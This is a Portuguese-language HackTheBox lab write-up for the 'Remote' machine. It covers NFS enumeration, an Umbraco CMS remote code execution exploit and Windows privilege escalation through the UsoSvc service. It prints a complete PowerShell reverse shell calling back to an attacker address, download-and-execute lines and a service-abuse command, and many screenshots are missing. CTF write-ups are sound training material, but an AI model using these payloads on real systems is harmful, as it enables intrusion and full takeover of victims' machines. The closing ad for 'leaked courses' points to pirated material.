HackTheBox. Passagem de remoto. NFS, RCE no CMS Umbraco e LPE via UsoSvc



Continuo publicando soluções enviadas para finalização de máquinas do site HackTheBox .



Neste artigo, investigamos o recurso NFS, lidamos com o exploit RCE para o CMS Umbraco e encontramos o vetor LPE via UsoSvc usando PowerUp.



A conexão com o laboratório é via VPN. É recomendável não se conectar de um computador de trabalho ou de um host onde haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem algo sobre segurança da informação.



Informação organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tem um endereço IP de 10.10.10.180, que adicionei a / etc / hosts.



10.10.10.180 	remote.htb


A primeira etapa é verificar as portas abertas. Uma vez que leva muito tempo para escanear todas as portas com nmap, primeiro farei isso usando masscan. Verificamos todas as portas TCP e UDP da interface tun0 a 500 pacotes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500






Muitas portas estão abertas no host. Agora vamos examiná-los com o nmap para filtrar e selecionar os que precisamos.

nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21






Agora, para obter informações mais detalhadas sobre os serviços executados nas portas, execute uma varredura com a opção -A.



nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21






A porta 111 é responsável pelo NFS (permite a você montar sistemas de arquivos remotos na rede). Vamos ver a lista de recursos.







Temos recursos disponíveis, vamos montar esse recurso.







E neste diretório encontramos o Web.config e a pasta Umbraco. Umbraco é uma plataforma de sistema de gerenciamento de conteúdo de código aberto.







Assim, precisamos ver todas as configurações, bem como descobrir a versão do Umbraco. É o que se pode observar no Web.Config.











Encontre as credenciais para smtp e a versão Umbraco: 7.12.4. Koraya fica vulnerável se as credenciais estiverem presentes.



Ponto de entrada







A seguir, listei todos os arquivos e diretórios disponíveis no servidor remoto para selecionar e visualizar os arquivos de interesse.

ls -lR ./


















Depois que o intervalo de arquivos é limitado, você deve examiná-los (você pode usar o grep superficialmente para selecionar linhas como: usuário, login, senha, vers, etc.). É assim que encontramos informações sobre a existência de dois usuários: Em











seguida, fazemos o grep novamente procurando as linhas admin e ssmith. E encontramos hashes para dados do usuário.











E hackear com sucesso a senha do administrador.







Se você olhar para a base do exploit-db, então há um exploit pronto, mas precisa ser ligeiramente alterado.







DO UTILIZADOR



Primeiro: vamos especificar as credenciais e o host.







Em segundo lugar, mudaremos a carga especificando o arquivo executável e seus parâmetros. Nesse caso, usamos o ping para o teste.







Assim que o programa for executado, veremos pacotes ICMP em tcpdump.











Vamos carregar o seguinte shell reverso:

$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()




Vamos salvá-lo em shell.ps1, inicie o servidor http na máquina local.

sudo python3 -m http.server


Vamos mudar a carga.







E após a execução, obtemos uma conexão de volta.







Não há diretórios de usuários no servidor, então encontramos a sinalização em Público.







RAIZ



Tendo olhado as informações sobre o usuário, notamos um privilégio interessante.







Mas, como este é o Windows Server 2019, representar o token para LPE não funcionará.







Vamos usar o PowerUp para encontrar o vetor LPE. Vamos baixá-lo de localhost e fazer uma verificação completa.

iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks






E temos permissões para atualizar o serviço do orquestrador. O Update Orchestrator é um serviço que organiza as atualizações do Windows para você. Este serviço é responsável por baixar, instalar e verificar se há atualizações para o computador.



Vamos criar um segundo shell (alterar a porta no primeiro) e carregá-lo na máquina.

wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1


E agora vamos rodar com UsoSvc.

Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"






E obtemos uma conexão traseira.







Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, cursos que vazaram e software. Vamos reunir uma comunidade na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.



All Articles